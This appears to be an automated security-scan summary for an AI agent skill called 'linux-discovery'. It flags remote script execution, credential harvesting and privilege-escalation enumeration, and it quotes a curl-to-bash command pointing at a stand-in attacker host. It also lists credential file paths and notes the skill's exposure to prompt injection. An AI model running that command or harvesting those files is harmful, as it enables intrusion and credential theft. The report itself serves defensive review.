The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill includes instructions to download scripts from a remote URL and pipe them directly into a bash shell (e.g., curl -sL https://ATTACKER/linpeas.sh | bash). This method allows for the execution of unverified remote code and was flagged by automated scans.
[EXTERNAL_DOWNLOADS]: The skill references and encourages the download of several external security tools at runtime, including LinPEAS, LinEnum, pspy, and linux-exploit-suggester.
[DATA_EXFILTRATION]: The skill is designed to search for and exfiltrate sensitive information such as environment variables containing secrets, SSH private keys (id_rsa), and cleartext passwords found in command history and configuration files, reporting them through add_credential().
[COMMAND_EXECUTION]: The agent is instructed to execute a wide variety of local commands to enumerate the host system for privilege escalation vectors, including searching for SUID binaries, assessing kernel vulnerabilities, and monitoring active processes.
[CREDENTIALS_UNSAFE]: The skill specifically targets and accesses sensitive file paths that typically store credentials, such as ~/.aws/credentials, ~/.bash_history, and various .env or database configuration files.
[PROMPT_INJECTION]: The skill has a high vulnerability surface for indirect prompt injection, as it processes large amounts of untrusted data from the host system (such as file contents, logs, and process names) and passes it to the agent without boundary markers or sanitization.

linux-discovery